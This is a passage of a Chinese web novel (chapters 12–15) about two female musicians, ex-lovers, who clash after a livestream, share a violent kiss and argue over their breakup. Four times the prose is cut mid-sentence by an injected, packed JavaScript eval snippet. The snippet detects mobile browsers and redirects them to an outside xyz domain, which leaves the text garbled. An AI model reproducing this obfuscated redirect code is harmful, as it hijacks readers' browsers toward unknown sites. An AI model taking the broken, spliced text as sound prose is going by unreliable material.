“柳前辈向来关心国内乐坛的发展,对后辈更是多有照拂。” 话到此处,许风扰又转身向对方,礼貌道:“谢谢前辈的纸。” 客套疏离的话语,表面是夸赞,实际却将两人距离拉得更远。 张导微微松了口气,又有些不甘,不愿意太有争议性,也不想太过平淡,总琢磨着弄出一些小起伏。 旁边的人不可见地僵硬了下,垂落的手捏紧又松开,悬在脖颈的银链随之摇晃,指尖泛起酸涩感受。 现在借着直播的由头,许风扰没再将她往外推,但也没缓和半点,反倒礼貌得让人更难受。 旁边的张导又一次开口,没办法将柳听颂和许风扰扯到一块,便打起别的注意,笑眯眯顺着弹幕道:“刚刚你一去卫生间,橙子就一直往那边望。” 没想到会突然提到自己,忙着看戏的楚澄明显懵了下。 一向不大喜欢这些的许风扰,却故意笑起来,看着楚澄就问:“那么关心我啊?” 有了之前的客套回答作对比,这揶揄带笑的话语,便更显得许风扰和楚澄之间的亲密。 反应比脑子更快,楚澄没好气地反驳:“谁关心你了?” “不知道啊,”许风扰刻意拉长了语调,语气里的亲昵不加掩饰。 之前阴阳怪气的弹幕早被掩盖,只剩下说乘风CP的甜。 张导见许风扰难得愿意配合,立马就将话接上。 柳听颂偏过头,无声沉默。 气氛又开始热络起来,不等片刻,屏幕突然变黑,观众们虽然意犹未尽,却也阻拦不了,只能在漆黑屏幕上发泄着不满。 这是张导的老套路了,怕之后的节目点击率太差,所以在最后一个创作环节时就会关闭直播,要等一个星期后,才会将剪辑好的全部内容放出,故意吊着观众呢。 窗外日光从明亮变得柔和,斜斜往城市边缘坠,直到最后一丝余光都消散,夜风吹来,城市迎来短暂的蓝调时刻。 房屋里的人早已撤离,只余下难闻的味道。 许风扰弯腰将落下的鼓棒捡起,放回原位。 本就苍白面色越发虚弱,宽大衬衫被风一吹,就紧紧贴上瘦削的躯体,连微弯的脊骨都清晰可见,透露着精力耗尽的疲倦。 节目组承诺的清洁人员要明天才能赶来,许风扰环顾了一周,最后还是选择躲进房间里,往柔软大床中一埋,沉闷的叹息声响起又落下。 今天下午这一遭,比之前连轴工作十几天还累,可不知道是不是因为情绪起伏过大的缘故,即便累成这样子,她也没能闭眼睡着,反而越来越清醒,甚至可以说是亢奋。 要命。 许风扰翻了个身,仰躺着面对空白的天花板。 思绪反复,又被极力拉扯,终究没有表面那么平静。 就这样干巴巴盯了半天,最后还是拿出手机。 今天的V博足够热闹,柳听颂与燃陨乐队占据了大半词条,恐怕不只她们本身的热度,还有张导偷偷买的推。 许风扰有些犹豫,但一想到这是今年的第一个团体综艺,还是没忍住点了进去。 果然,即便是只有燃陨的词条,第一条还是柳听颂的直播截屏。 那人今天打扮得好看,无边眼镜搭配浅灰西装,清冷中多了一丝年长的干练,举手投足矜雅又瑰艳。 许风扰没有犹豫,手指往上滑,将照片平移往上,直到完全看不见为止。 可屏幕上是没有了,脑海里却不受控制地浮现。 点在对方眼尾的痣,浅灰色的小小一颗,隐藏在透明镜片里,黑与白格外明晰的眼眸,如黑曜石般明锐,一面将人引诱,想要往更深处探寻,一面又将人推远,无法接近半点。 画面被一下子压下,也不管屏幕上是什么,许风扰手指一落,直接点进一个视频。 当轻快的BGM响起,她才反应过来自己点开了什么。 是她和楚澄的今天CP剪辑。 她是知道乘风这个CP的,每回线下演出,都有人举着这种条幅晃来晃去,她不想知道都难。 楚澄早些时候还好奇过,特地去翻了超话,愣是自己看了一夜,一边笑一边往她们的小群发,好长一段时间都在说许风扰暗恋她。 有时特别无聊,众人还会偷偷翻出各家超话比较,看谁和谁的CP更火,互相揶揄一翻。 不过这种东西,笑一笑也就罢了,谁也没把它当真,若是偶尔瞧见,还会冒出一身鸡皮疙瘩,但在此刻,倒也挺适合转移注意力的。 但…… 如果她们的中间没有隔着一个柳听颂就好了。 许风扰抿紧嘴角,恰好瞧见在她给出刻意拉远关系的回答后,柳听颂垂眼露出的悲寂神色。 她在难过什么? 她有什么资格摆出这幅模样? 许风扰眼眸一冷,许是烦闷到了极致,知道逃避没有半点作用后,就开始自虐般逼着自己往下看。 她看着柳听颂几次看向自己,视线停留。 她看见柳听颂垂落的手,握紧成拳又松开,反反复复,最后在掌心留下数个月牙凹坑。 她看着柳听颂因为自己的话,露出专注神色,好像在认真记住她的回答。 视频播放到最后,自动滑向下一个。 还是柳听颂。 许风扰没有暂停,就这样看着,一个接着一个,都是对方,好像系统默认她喜欢一般,不断的推荐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368281|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……西装无边眼镜盘发微醺,谁懂啊,李摄真的好会拍。” “明明是和直播时同样的妆造,可在她的镜头下,柳听颂却有了和以往完全不同的感觉。” 窗外的蓝被漆黑覆盖,夸张的电子女声在房间环绕,一张张图片随着话语闪过,倒映在碧色眼眸里。 像是直播结束后,赶去另一边拍的照片。 在一片漆黑、只剩下落地窗外的霓虹灯光的空旷房间内,微醺的女人坐在纯白地毯上,后仰靠住黑色的皮质沙发。 西装外套被丢在一边,盘起的发丝垂落一缕,镜片倒映着霓虹,被酒精醺红的朦胧眼眸,黑与白的界限不再那么清晰,与生俱来的清冷化作难言的颓丧。 像是立在枝头的白玉兰,骤然落入浮华俗世,连颈间的银链都敢往下掉落一寸。 指尖无意往下按,视频终于暂停,也将图片一并留下。 许风扰闭上眼,直接将手机往旁边丢,终究还是没办法继续下去。 这样的方式不仅没有让人缓和半点,反倒越发难受,这几日强压下的感受叠加涌出,逐渐将人淹没,往深海里坠,堵住眼耳鼻口,以至于呼吸都跟着困难。 直到此刻才清楚明白,时间没有将过往掩盖,假装不存在的伤口早已溃烂。 无法缓解,无法消退,下午被丢到一边的烟盒还是被翻了出来,扯开外壳,将焦黄的烟丝咬在齿间。 这味道不算好,像是浓缩的烟香在舌尖炸开,既冲又恶心,苦涩之后才能尝到一点点细微的回甘,不过很快就会被浓重的烟味覆盖。 可许风扰没有停下,麻木地一根接着一根,反复咀嚼到没有味道,再吐出来,苦到最后连口水都咽不下去,这滋味,大抵只有用熄灭香烟浸泡过的水可以比拟。 恶心到反胃,之前咽下的药片都在胃里翻腾。 烟盒被丢在地上,许风扰木然瘫坐在一堆烟纸中,宽大衬衫下的躯体越发单薄,脊骨将布料一节节撑起,风一吹就开始摇晃起来。 不知过了多久,直到那堆香烟都被拆开,外头传来车轮碾压过地面的声音,小孩大声嚷嚷着今天的游乐园,父母笑着应和。 许风扰终于站起身,趿拉着拖鞋往卫生间走。 水声、吞咽呕吐声、再到电动牙刷的嗡嗡声,当这一切都结束后,许风扰提着塑料袋走回来,沉默着将地上的烟盒、烟纸都丢进里头,然后用力打了个死结。 还是那点洁癖作祟,连休息一下再处理都不肯,直接就套了袋子,要往外面丢。 ——嘭! 房门被打开,这一次不是许风扰往后跌,是等待已久的女人,直接将她按在门上。 塑料袋落在地上,淡淡酒味与烟草的味道交织在一块。 13. 第十三章 狭窄楼道寂静,衬得塑料声越发嘈杂,散落的烟壳摔在旁边,西装裤挤入黑色长裤中,衬衫与衬衫相贴,折出凌乱痕迹。 唐突闯入的人没有收敛,红底高跟鞋向前,布丁狗拖鞋就被迫退后,直到鞋跟压紧铁门。 那人伸手勾住许风扰脖颈,如滕蔓般紧紧缠绕,垂落的发丝扫过锁骨,杂乱呼吸落在脖颈,微涩的红酒味道随之散开。 “不要……” 暗哑的声音如情人耳语,让酥麻感攀上耳垂。 这一切发生得太快,许风扰忘记了反应,紧绷的脊背紧紧贴在铁门上,突起的花纹硌得生疼。 “你……”她试图出声。 纤长手指穿过白发,勾着脖颈的手覆上后脑,微微用力往下压。 高跟鞋再往前,直到无法再靠近一点。 柳听颂仰头,吻在许风扰唇角。 未来得及开口的话语就这样止住。 许风扰惊讶垂眼,恰好透过玻璃镜片,瞧见对方眼尾的痣。 方才停留在手机屏幕里的女人,现在出现在了她的怀里,压着她,企图与她亲吻。 温热指腹往下,随着微曲骨节一点点往下落,柔软的唇紧紧贴着她,红酒味道填满浅淡纹理,还在试图撬开她的唇齿,想要往更深处去。 莫名的荒诞。 压抑的情绪终究无法克制,自以为的理智早在一次次见面后崩塌,随着那些被拆开的细烟,一并砸落在地。 许风扰表情一冷,抬手扯住对方手腕,毫不费力地往前一推。 布丁狗拖鞋顺势往前,高跟鞋被迫往后,看似被压制的下位者实际才是真正的操纵者,她要退后,年长那位就被高墙阻挡,无法靠近半点,她要步步往前,年长那位就跟着退后。 脚步声使即将暗下去的声控灯再一次亮起。 许风扰又一次用力,姿势随之翻转,柳听颂被重重摔向铁门,被拽住的手腕也被压向头顶,以一个无法挣脱的姿势,完全被对方禁锢。 “你想做什么?” 衬衫袖子滑落,露出一截小臂,肌肉微鼓,线条流畅且明晰。 想来也是,长期练习贝斯的人哪里会像表面那样瘦弱,不然连一首完整的歌都弹不完,更别说连弹带唱一整场。 无意识地逼近,将距离越发缩短。 一人低头,一人仰起,隔着一层透明镜片对视。 “你在玩什么把戏?”许风扰又一次重复,语气愤恨又带着嘲讽。 过分瘦削的躯体在紧紧贴住时,没有想象中的柔软,薄皮包裹的骨头如同圆钝的刺,往身体各处压来,而身后又是坚硬的铁门,如同她现在的处境。 声控灯又一次熄灭,黑暗侵蚀而来,只能借着房间里微弱的灯光,看清些许轮廓。 “你……”柳听颂想要说些什么,可刚开口却道:“抽烟了?” 这咀嚼烟草的味道不比抽烟弱,虽然不至于弄得满身烟味,可连漱了几遍口,也无法彻底去掉口舌间的味道,许风扰原本打算在丢完垃圾后,买条绿箭去去味,结果却被堵在自家门外,无法离开。 “关你什么事?” 许风扰没有半点留情,声音像是掺了冰块一样冷,直接质问道:“你管得着吗?” 即便不是第一次听这样的话,柳听颂还是僵了僵身子。 “我们两是什么关系,还需要我再重复一遍吗?” 箍住手腕的虎口无意识掐紧,如同铁钳般,紧紧扣住。 许风扰冷然嗤笑一声,一字一顿道:“前辈。” 许风扰又喊:“柳老师。” 白日没有喊出的称谓,终究在此刻喊出,反复提醒着柳听颂,她们现在的关系不比陌生人亲近半点。 “别……”眸光破碎,柳听颂仰头央求。 “不要……” 盘在脑后的发丝在拉扯中,散落大半,无边眼镜滑落,往日清冷的眸子泛起泪光。 “别推开我,求你、”不知酒精作祟,还是许风扰的几次抵触,让她情绪彻底崩溃,以往不曾提及半点的话语,一点点往外冒。 “阿风……” 熟悉的称呼挑起敏感神经,许风扰表情更冷,下颌绷成一条凌厉的线。 过分话语没有让她好受半点,反倒因为对方的眼泪,而掀起更大的怒火。 凭什么?! 被抛弃的人是她!傻乎乎找了半个月的人是她! 如果没在别处看见柳听颂出国的消息,她还要到处找多久?! 她配哭吗? 不告而辞又突然出现…… 字句从唇齿中挤出,携着连许风扰都不曾发觉的恨意,问:“我很贱吗?” “在你眼里,我很贱是吧?” “是你呼之即来又可以挥之即去的狗,是吗?” “不、不是,”柳听颂当即否认,慌张又急切:“你不要这样想。” 许风扰立马道:“那我该这么想?” “你告诉我,我该怎么想?”她一遍又一遍地重复,恨意从骨缝中挤出,碾过每一处肌理。 “是我、”柳听颂想说什么,又骤然顿住,改口道:“是我的错。” 她声音一低,又道:“别推开我。” “不要这样……” “凭什么,”许风扰直接打断。 是了,凭什么,凭什么她就可以想来就来,想走就走,将她拉扯来又拉扯去。 不知哪里来的力气,柳听颂突然挣了下,竟在束缚下往前一步,偏头吻过来。 唇瓣印在唇角,将之前就染上的红痕加深。 带着哭腔的呢喃响起:“求你……” 话未说完,许风扰便反应过来,用力一推,又一次将人往铁门砸,束缚住手腕的手突然松开,一下子掐住对方脖颈,弯腰偏头贴上对方的唇。 别在脑后的发簪掉落,发丝随之散开,镜框被鼻梁顶起,有人咬住她的上唇,口红被彻底晕开,舔上更深的绯色。 铁门被抵得发出咿呀一声响,却没有将这个谈不上吻、甚至可以叫做撕咬的触碰打断。 氧气被掠夺,呛人的烟味将唇舌碾压,锢在脖颈的手不曾松开,甚至越来越用力。 柳听颂没有阻拦,主动伸手勾住对方脖颈,像之前那样、像从前无数次那样,用指腹压住对方骨节缝隙,迫使对方更贴近。 白发与黑发纠缠,衬衫与衬衫贴在一处,下方扣子撞向另一颗,幼稚的布丁狗拖鞋踩在了高跟鞋的鞋尖,烟纸被踹开。 铁锈味在舌尖扩散,那点稀薄的红酒味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368282|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早被泯灭,换做另一个人的味道。 脚步声突然从楼道中传来,只听见一声用力的脚踏声后,声控灯纷纷亮起。 不知道是哪一家的住户,直到这时才匆匆赶回。 柳听颂抬了抬眼,凝聚在眼尾的水光终于落下。 “阿……” 最后一个字没有被唤出,就被彻底堵住。 作为惩罚,尖锐的犬牙再一次咬住早就破裂的伤口,铁锈味更浓。 ——踏、踏 杂乱脚步声与对话声一并响起,说明着来人不止一个,像是一家人。 越发逼近的距离,让柳听颂有些绷紧,不禁用手推了推对方。 可许风扰没有理会,反倒越发过分,像是故意如此。 唇瓣相贴又分离,造成些许细微的水声。 “人……”柳听颂再一次出声。 箍住脖颈的手更用力,舌头被咬住,就连抵在肩膀的手都变作无力的搭。 许风扰并不是不知晓,而是故意如此。 ——踏、踏 脚步声更近,可以听到是一个小女孩在说上学的事,旁边的母亲轻声附和。 牙齿碰撞到一块,衬衫与衬衫摩擦出窸窣声响,往日不会察觉的细微声音,都在此刻分外明显。 唇珠覆上一层水光,又被叼住。 手指无意揪住发尾,不曾用力就松开。 “小胖他总是偷拿我的橡皮擦,我都说了这是我的,他只能和我借,借完之后要还我,他就是不听。” 稚嫩的声音带着不满。 温柔的母亲耐心安慰:“是不是小胖很喜欢你的橡皮擦?或者是他拿错了……” “不是!不是!就是他故意!”小孩不满地反驳。 来人已经近到可以听清的程度。 可许风扰还是没有退后,恶劣地贴得更紧。 而另一人突然没了阻拦,像下定了某种决心,微微仰头,越发配合。 夜风吹过,掀起烟纸翻了身,高跟鞋越发往后,细跟摇晃一瞬。 “那妈妈改天和老师说一声好不好?” “啊?那老师会骂他吗……” 母女两人离她们只差一个楼层。 柳听颂闭上眼,任由许风扰继续。 “可能会吧,但这是很不好的行为……” 柳听颂没有听到接下来的话,束在脖颈的手骤然松开,紧接着拽住她手腕往屋里拽,只听见剧烈的一声“嘭”,铁门被大力关上。 高跟鞋明显歪了下,使柳听颂踉跄了下,幸好及时扶住墙,才能稳住身形,可脚踝仍是崴了下。 但她并不在意,反倒抬眼看向许风扰。 好像在问对方为什么要这样停下。 许风扰只是沉默,隐没在一片漆黑中的眼眸微暗,分辨不出情绪,只觉得压抑极了。 门外的那对母女果然要继续往上,声音放大后又远离。 门里的两人没有说话,杂乱的呼吸声交替响起,格外沉重。 很快,门外的声音就消失不见。 柳听颂往前一步,又想贴过来。 可许风扰却将她推开,随机往前一步,抬起的手触碰脸颊,大拇指将眼尾的小痣拭去。 不知在意了多久。 14. 第十四章 当情绪得以宣泄,剑拔弩张的气氛缓解。 漆黑夜色随着西装裤攀爬,被揉乱的衬衫满是褶皱,两人无声对视。 难以想象,在白日直播间里,受尽粉丝追捧的乐队主唱与天后,在演完疏离礼貌的对手戏后,竟以如此亲密的姿态,紧贴在门内。 呼吸交替,烟草与红酒的味道都不大清晰,换做曾经无比熟悉的味道,还有淡淡铁锈味。 许风扰视线垂落,无意停留在红肿的唇上,被故意咬出的伤口在最显眼的边缘处,没给柳听颂留出半点遮掩的余地,甚至因为咬得太深,现下还在往外冒血珠。 恐怕这几日都无法上镜了。 虽然是对方主动送上门的,但许风扰还是冒出些许心虚,眼神偏移一瞬,还没有柔和片刻,又冷下心肠,退后一步,拉远距离。 突然失去依靠的柳听颂,又一踉跄,下意识发出一声“嘶”。 倒不是她故意如此,只因许风扰之前行为太过恶劣,柳听颂不曾准备就被压住,直接剥夺呼吸,以至于长时间缺氧,使手脚脱力,再加之许风扰刚刚的拖拽,又崴了下,倚着的许风扰一退,她就站不住了。 许风扰下意识一抬手,又在发现对方还能靠着门站稳后,急忙止住,最后只拧着眉,硬邦邦冒出一句:“你没事吧?” 那人面色略白,还要强撑着摇头,想要以手撑门站直,却又是一声“嘶”。 许风扰眉头更紧,心里头清楚,柳听颂这人向来能忍,这都疼出声了…… 她又想起之前,她强行将柳听颂拽进屋的事,好像刚刚就崴了一下? 视线又落在那五厘米的细跟上。 许风扰抿紧唇角。 望着对方狼狈又凄惨的模样,若是这会有狗仔守在楼脚,不知该有多兴奋。 她都能想到媒体会说什么。 醉醺醺还要匆忙赶来的柳天后,在新锐乐队主唱许风扰的家中停留许久,出来时发丝散乱、嘴唇红肿,甚至走姿别扭。 这下好了,连着两天的热搜都全是她们,张导连买推的钱都省了,就是不知道她愿不愿意省了这笔钱。 恰好这时,柳听颂又出声道:“我没事。” 不知在努力遮掩什么。 那点被愧疚缓和的脾气,在这句话后又冒出火气,不知自己在烦什么,就是看着柳听颂,就能冒出一堆的烦躁情绪。 许风扰咬了咬牙,话到嘴边又咽了下去,实在没办法在对方如此凄惨的情况下,恶语相向。 她伸出手,就道:“进屋。” 柳听颂显然诧异了下,抬眼后,有些无措地看向她。 好像被她突然缓和的态度吓到。 这让许风扰更加烦躁,她宁可柳听颂继续像镜头前那样,高高在上或凉薄矜雅,实在不行,摆出刚刚那副堵门的样子也可以,只要不要像现在一样,一副怯生生的可怜样就好。 明明就是她…… 许风扰咽下一口气,不打算再废话,一手揽腰,一手绕到腿弯处,稍一使劲,竟直接将人横抱而起。 柳听颂慌乱一瞬,急忙抬住,勾住对方脖颈。 许风扰没有停顿,当即大步往客厅走。 直播后的杂乱还未清理,只有许风扰一直躺着的懒人沙发还算干净,就算有些不乐意,也不至于在此刻苛刻柳听颂。 许风扰径直走回去,再弯腰将人轻放。 没有一点停留,松开手就站直身子,转身往药箱那边走。 她这人走路爱走神,寻常一不注意就会磕撞,所以家中常备着这方面的药,都不需要翻找,就轻松取出。 只是…… 许风扰捏紧手中的喷雾剂,不知在想些什么,或者说,不知道局面为什么突然就变成这样,脑子一片混乱,搅和成浆糊,无法理顺也无法思考,最后只能凭着本能做事。 她吐出一口气,转身又走回去。 柳听颂这个时候就乖巧起来,被许风扰放下时是什么样,现在就是什么样,老老实实坐在那里。 但…… 还是特别招人烦。 许风扰半蹲在她面前,抬手轻握住对方脚踝,往自己腿上搭。 情况比想象中严重许多,不过一会就红肿起来,看起来很是唬人,怪不得柳听颂耐不住。 许风扰盯着那五厘米的细跟,话在唇边绕了个圈,最后只说出一句:“我先帮你把鞋脱了。” 许是上半身足够繁琐的缘故,高跟鞋很是简约,黑色漆皮尖头红底,无意擦过许风扰的衬衫,鞋尖勾住门襟。 “我自己来,”柳听颂在这时出声,像是怕对方误会,还补充了句:“脏。” 烦闷更甚,许风扰的眉头拧得更紧,脱口而出道:“你装什么,之前拿脚堵我嘴的……” 话说了一半才觉得不妥,戛然止住。 许风扰猛地低下头,记忆翻涌又立即压下,不肯想起之前的亲密。 同时也不再耽搁,一手握住脚腕往上的小腿,一手捏住鞋身,看似迅速,实际却十分轻柔,小心将高跟鞋脱去, 而那人没有任何反应,好像疼痛的人不是自己,自那句话后,就一直定定注视着对方,眼眸中的黑与白不再那么界限分明,朦胧雾气氤氲,沉甸甸的情绪压得人无从探寻。 许风扰察觉到对方视线,却没有抬起头,拿过喷雾剂用力一摇,再往红肿处喷,随即道:“我家里没有冰袋,只能先喷个云南白药,你回去后记得冰敷一下,要是还疼得厉害,就叫你助理陪你去医院看看,” 她声音一顿,再道:“到时候把收据发我,我转给你。” 短短几句话,就将刚刚缓和一点的距离推远。 柳听颂自然听得明白,没有接话,只是“嗯”了一声,表示回应。 许风扰也没有强追着要回答,将对方的腿轻轻放下后,仰头就道:“我们谈谈吧。” 她语气很平静,分不清是临时决定,还是想了许久才说出口。 柳听颂沉默了下,收敛心神后才郑重道:“好。” 许风扰没有起身,维持着这样半跪在对方面前的姿态,轻声道:“我们已经分手了是吗?” 她之前无数次强调这件事,可现在却用了反问句。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368283|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柳听颂知道这是什么意思,却没有否认,只能艰难地挤出一个短促的回答:“是。” 听到这话,许风扰没有太多表情,甚至有些沉郁,未开灯的客厅还是那样漆黑,只有不远处房间泄出的些许光亮,微弱又缥缈地洒落在两人身上。 “那你现在想要做什么,复合还是弥补遗憾、减少你所谓的愧疚感?”提到这事,许风扰仍是控制不住,语速加快,冒出尖锐的刺,宛如质问。 柳听颂艰难开口:“我……” “无论什么,我都不会接受,”许风扰直接打断。 柳听颂气息一滞,瞳孔颤动,望向对方。 许风扰没有躲避,直直看向对方,那些抵触、排斥,甚至是之前刻意隐藏的悲伤,头一次毫无保留地展露在碧色眼眸中,像一只被抛弃后、龇牙警告的小狗,一字一顿道:“是你抛下了我。” “不管什么原因,什么理由,是你一个消息都没留给我,” 她扯了扯嘴角,咬着字强调:“不告而别。” 她没有说在柳听颂突然失踪后,她经历了什么,怎样发疯似的到处找人,怎么被迫接受她已经离开的事实,又怎么样走出阴霾,都没有必要。 她如今的模样,就足以说明。 一米七的个子拢共也就九十几斤,宽大衬衫包裹瘦削躯体,风一吹,布料就往身上贴,勾勒出突兀的骨架。 就连经纪人都生出担忧,生怕哪一天她就瘦脱相了,催着她去了几次医院。 其他方面也是如此,之前的许风扰虽有些恃才的傲气,又因家庭原因,不大懂得与人相处,但性情总归是好的,清澈眼眸带着独属于少年人的意气,哪怕是看不惯她张扬作风的人,也生不出太多的厌恶感受。 可如今的她眉眼沉郁,带着股锐利的戾气,唯有在舞台上、手握贝斯麦克风时才缓和些许,如此改变,恐怕不只感情方面,但许风扰不肯说,柳听颂也无从得知,终究不是之前那样亲密的关系了。 许风扰沉默了下,好似叹息般地开口:“无论怎么样,结果都是这样了。” 虽然早已预料,但柳听颂还是颤了下,头一回觉得自己太了解许风扰也不是什么好事,不然还能继续装聋作哑。 就像许风扰说的那样,无论过程发生了什么,结果就是这样,她被柳听颂抛弃了,再多的理由、愧疚都是这样,就算是重新在一起也没有用,破镜难圆,这事永远是一根拔不出来的刺。 哪怕柳听颂保证,改正,可当下一次问题出现的时候,许风扰必然会绷紧神经,哪怕是一点风吹草动,都会惊恐担忧,害怕又一次被抛弃。 这是无法避免的,伤口已经戳进去了,这个洞就不会消失,哪怕一年、十年甚至更久,许风扰都会因为这次被抛弃的经历而不安。 无法被弥补、也无法忽略,更没办法假装不存在。 气氛变得死寂,一时无人说话,窗外的风用力撞过来,将玻璃摇晃,鸟雀扑翅飞起,不远处的小吃摊笑闹声不断,炒饭的香气不断飘远。 柳听颂终于开口,缓声道:“如果我还心存侥幸呢?” 15. 第十五章 “如果我还心存侥幸呢?” 许风扰猛然抬起头,几乎被气疯。 她无法理解也不明白,她之前与柳听颂也算契合,起码不会互相无法理解,难以交流。 可她现在阻拦过也抵触过,早早就划清界限,摆出桥归桥路归路、互不相干的态度,一点希望也没给柳听颂留,就算是什么都不了解的陌生人,也该看出她的坚决态度了,可柳听颂仍死缠烂打,一次次出现在她家里。 上一次在演出现场,紧接着就是门外,后面还托人送药,把自己抵到门沿,今儿更是借着直播的由头,登堂入室了,再这样下去,不知还要再往前多少。 今夜的谈话,不仅是因为柳听颂又出现,更是因为前面的事情,让她逐渐生出恐慌,所以才会在暴怒之后,选择和柳听颂谈谈。 可让她没想到的是,柳听颂竟然软硬不吃。 许风扰气到没办法,抬起眼就瞪着柳听颂,差点没骂出一个泼皮无赖。 “没有可能,”她几乎从牙缝中挤出这句话。 她有些后悔,觉得从一开始就是个错,她就不该给柳听颂开门,要不是、要不是…… 许风扰表情一滞,好像想到了什么。 “你是故意的,”她冒出这样一句话,声音笃定。 对面的人没有反驳,眼帘垂落,像是默认。 气得极致后,反倒半点脾气都发不出来,甚至有点冷静,冷静地开始思考对方的每一步。 比如…… 相对于其他服饰,许风扰其实更喜欢女性穿西装,算是她一个不大不小的XP。 还有许风扰很在意自己身上的痣,一旦出现就会想方设法祛掉,这样的怪癖也影响到了她的日常生活,虽然不至于逼着身边人祛痣,但每次瞧见旁人露出的痣时,都会忍不住视线停留片刻。 作为曾经的亲密伴侣,柳听颂自然全部知晓。 可这样还是不够,若柳听颂从一开始就是这幅装扮,她可能并不会在意。 既已经走出来,便只把柳听颂当陌生人看,无论柳听颂穿什么,她都懒得理会,只想要避开,哪怕避不开,也会在慢慢接触中脱敏,彻底不在意。 所以,柳听颂选择了另一种办法。 一次次主动出现许风扰在面前,一步步将她激怒,继而在今天,利用许风扰的癖好与厌恶,让她的注意力一次又一次地移向柳听颂,最后彻底点燃愤恨,随即就出现了方才的那一幕。 许风扰的面色沉了沉,却不知该如何是好,躲也躲不掉,骂也骂不走,反倒一步步往这人的圈套里跳。 长时间的半跪,让小腿泛起难耐的痒,可她却没有站起缓解,故意折磨着自己。 她沉默了下,拧着眉问:“今天的直播……” 柳听颂知道她想问什么,当即解释道:“不是我安排的,虽然我提前知道会有这场直播,但考虑到其他因素,并未打算参与,是张导想方设法找到我的。” “张导应该和你们解释过了,是这场直播的特邀嘉宾临时违约,哪怕要赔违约金也不肯过来,而我之前和她有过一两次联系,她焦头难额下,就抱着试试看的心态找到我帮忙。” 许风扰面色稍缓,下午直播结束后,张导就来找过她们,无故等了一个多小时,总得让她们知道原因。 至于柳说颂与张导之前的联系,她也是知道的。 燃陨乐队刚组成时,名气不显,哪怕喊着免费,也任何人愿意给她们一个展示的机会。 是柳听颂到处打听,得知张导举办一个关于乐队选秀的节目,这才另外寻人,将燃陨乐队引荐进去的,不然的话,燃陨乐队连个面试的机会都没有,更别说参加比赛了。 想到这些事情,许风扰抿了抿唇角,态度稍微和缓了不少。 虽然柳听颂当年抛弃了她,但两人在一起的时候,她确实帮了自己不少,没有她,也不会有燃陨,更不会有强势闯入乐坛的许风扰。 柳听颂将她的变化收入眼底,声音更温和:“我只是想着今天直播之后,你应该会看V博,所以联系摄影师,将拍摄安排在今天。” “那我没有看见呢,”许风扰突然开口打断。 柳听颂先是一愣,继而突然笑起来,眼眸像是装了一汪清泉,随着笑意,漾起盈盈波光,声音更软:“那我就过来找你。” 许风扰偏开视线,不知该说什么好,只冒出一句:”你酒还没醒。” 那人只是笑,也不知道有什么好笑的,脚踝都肿成这样了还能笑得出来。 她说:“不会看不见的。” 她陷在许风扰最喜欢的懒人沙发里,受伤的左腿压在右腿上,绷紧的西装裤勾勒纤细腿型,圆润趾尖微微上挑,不是很端正的姿势,却显得格外妩媚。 散落发丝和杂乱衬衫,没有影响美感,反倒与滑落的无边眼镜一起,给她添上几分凌乱可欺的感受,像是高高在上的月亮被拽下神坛,随时可以印下独属于自己的痕迹。 “不会看不见的,连老天都在帮我,”她这样说。 “那天我本来没打算露面,只是想躲在台下看一场你的演出,却没想到会被人认出来,我都五年没回国了……”柳听颂摇了摇头。 许风扰眼帘颤了下,直到她在说酒吧那一回。 “直播的嘉宾临时违约,才让我有了光明正大踏入你家的机会。” 柳听颂声音一转,又道:“李摄其实并不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368284|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍太过正式的图,所以我一说改时间,她就同意了。” “喝酒也是她提议的,觉得这样更有感觉,”柳听颂笑了下,说:“正好给了我耍酒疯的机会。” “我本来打算在门外等一夜的,想着等第二天节目组安排的保洁赶来,再趁机和你卖个惨,”柳听颂就这样坦然地把自己的苦肉计交代干净。 “可没想到你突然会打开门。” 之前的事情都有了解释,虽然许风扰面色不显,但心里头确实好受了些,这里头也有阴差阳错的因素,不全是算计。 